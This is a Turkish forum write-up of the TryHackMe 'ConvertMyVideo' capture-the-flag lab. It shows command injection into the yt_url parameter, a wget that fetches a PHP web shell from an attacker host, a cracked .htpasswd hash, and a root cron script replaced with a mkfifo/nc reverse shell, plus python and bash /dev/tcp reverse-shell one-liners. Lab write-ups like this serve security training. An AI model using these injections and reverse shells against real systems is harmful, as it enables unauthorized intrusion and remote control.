THM ConvertMyVideo WriteUp

Pytang

Katılımcı Üye
18 Eki 2014
317
327
subdomain
o39i070.PNG



Merhaba arkadaşlar. Bu gün THM'deki medium seviye bir makinenin çözümünü göstereceğim.

İlk olarak Nmap taraması yaparak başlıyoruz.

nmap -sS -sV MakineIP

Sunucu, SSH ve HTTP için 22 ve 80 olmak üzere 2 açık porta sahip.

54ilst2.PNG


1 - Gizli dizinin adı nedir?

CTF' bizden istenen ilk şey gizli dizini bulmamız bunun için kalide bulundan dirb toolunu kullanarak tarama yapıyorum.

dtt7xh8.PNG


Bütün dizinleri denedik yetkisiz erişim hatası verdi fakay biri hariç admin dizini gizli dizinimiz.

2 - Admin paneline erişecek kullanıcı nedir?

Sayfada incelemeler yapıyoruz herhangi bir ipucu varmı diye sağ tıklayıp inspect element dedik ve bize sayfanın kodunu gösterdi.

l2ahb7k.PNG


/js/main.js in içerisinde herhangi bir ipucu varmı diye kontrol ediyoruz.

adx7ws4.PNG


İstenen videonun tam Youtube URL'sini almak için youtube kimliğinin https://www.youtube.com/watch?v= ile birleştirildiğini görebiliriz. Ortaya çıkan şey yt_url'ye kaydedilir ve JSON'daki ana sayfaya iletilir. Sonuç konsola kaydedilir ve mesaj div'inde bir mesaj görüntülenir.

Şimdi BurpSuite programını kullanarak responseları kontrol edeceğiz.

lb76y72.PNG


id parametresinin youtube url'sine eklendiğini ve bir gönderi isteği yaptığını görebiliriz.

Bu sonuca dayanarak, BurpSuite repater kullanarak yt_url parametresine bazı komutları enjekte etmeye çalışacağız.
Kod:
{"status":127,"errors":"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nERROR: Incomplete YouTube ID 1. URL https:\/\/www.youtube.com\/watch?v=1 looks truncated.\n","url_orginal":"https:\/\/www.youtube.com\/watch?v=1","output":"","result_url":"\/tmp\/downloads\/5fbe2445694fe.mp3"}

Bir çeşit çıktı alıyoruz. Sonra çıktıdaki şeyleri araştırdım ve proje için bir github bağlantısı buldum. Bir youtube indiricisi olduğu ortaya çıktı.


Şimdi yt_url= parametresine command injections denemeleri yapacağız böylelikle sistem içerisine bir shell yükleyip makineye sızacağız.

yt_url=`id` yazıp response baktık:

Kod:
{"status":1,"errors":"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nERROR:
u'uid=33(www-data)'
  is not a valid URL. Set --default-search \"ytsearch\" (or run  youtube-dl \"ytsearch:uid=33(www-data)\" ) to search YouTube\n","url_orginal":"`id`","output":"","result_url":"\/tmp\/downloads\/5fbe255dee50f.mp3"

Ve yanıtta www-verilerini görebiliriz, bu da komutları çalıştırabileceğimiz anlamına gelir, ancak sorun şu ki çıktı tam görünmüyor. Bir reverse shell kullanarak sonuç almaya çalışalım.

yt_url=`wget${IFS}http://10.8.50.72:8000/shell.php`

Response

Kod:
{"status":2,"errors":"--2020-06-15 15:34:42--  http:\/\/10.8.50.72:8000\/shell.php\nConnecting to 10.8.50.72:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5492 (5.4K) [application\/octet-stream]\nSaving to: 'shell.php'\n\n     0K .....                                                 100%  136K=0.04s\n\n2020-06-15 15:34:42 (136 KB\/s) - 'shell.php' saved [5492\/5492]\n\nWARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\n","url_orginal":"`wget${IFS}http:\/\/10.8.50.72:8000\/shell.php`","output":"","result_url":"\/tmp\/downloads\/5ee7951264f4c.mp3"}

nc -nlvp 4444 yapıp ağınıza gelen istekleri yakalamaya çalışıcaz
Siteye yüklediğimiz Shell dizinine giriyoruz makineIP/shell.php artık makineye bağlandık.
Kod:
cd /var/www/html/admin/
$ ll
total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 12 05:05 .
drwxr-xr-x 6 www-data www-data 4096 Jun 15 15:34 ..
-rw-r--r-- 1 www-data www-data   98 Apr 12 03:55 .htaccess
-rw-r--r-- 1 www-data www-data   49 Apr 12 04:02 .htpasswd
-rw-r--r-- 1 www-data www-data   39 Apr 12 05:05 flag.txt
-rw-rw-r-- 1 www-data www-data  202 Apr 12 04:18 index.php
$ cat .htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/

itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/

Şifre hashli olduğu için bunu çözmemiz gerekiyor bunun için kalide bulunan john aracını kullandım ve şifre
Jessie

3- User Dosyasının İçeriği Nedir?

/var/www/html/admin/ içerisinde flag.txt var terminale cat flag.txt yazarak içeriğine bakıyoruz:

cat flag.txt flag{0d8486a0c0c42503bb60ac77f4046ed7}

4- Root Flagının İçeriği Nedir?

Şimdi bizden istediği dosyaya ulaşabilmemiz için yetkimizi yükseltmemiz gerekiyor.

Bundan sonraki adımları terminal kodları üzerinden sırayla göstereceğim.

Çalışan işlemleri kontrol etmek için python HTTP sunucusunu kullanarak sunucuya bir pspy dosyası yükledim.
Kod:
www-data@dmv:/var/www/html/tmp$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 .
drwxr-xr-x 6 www-data www-data 4096 Nov 25 10:17 ..
-rw-r--r-- 1 www-data www-data   17 Apr 12  2020 clean.sh


Kod:
www-data@dmv:/var/www/html/tmp$ cat clean.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 4444>/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("makineIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("makineIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/makineIP/4444>&1

Kod:
local@local:~/Documents/tryhackme/convertmyvideo$ nc -nvlp 4444
Listening on 0.0.0.0 4444

Kod:
local@local:~/Documents/tryhackme/convertmyvideo$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.26.87 51218
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
Kod:
# cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}

Okuduğunuz için teşkkürler umarım işinize yarar.

CTF CEVAPLARI

nicw1gx.PNG


 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.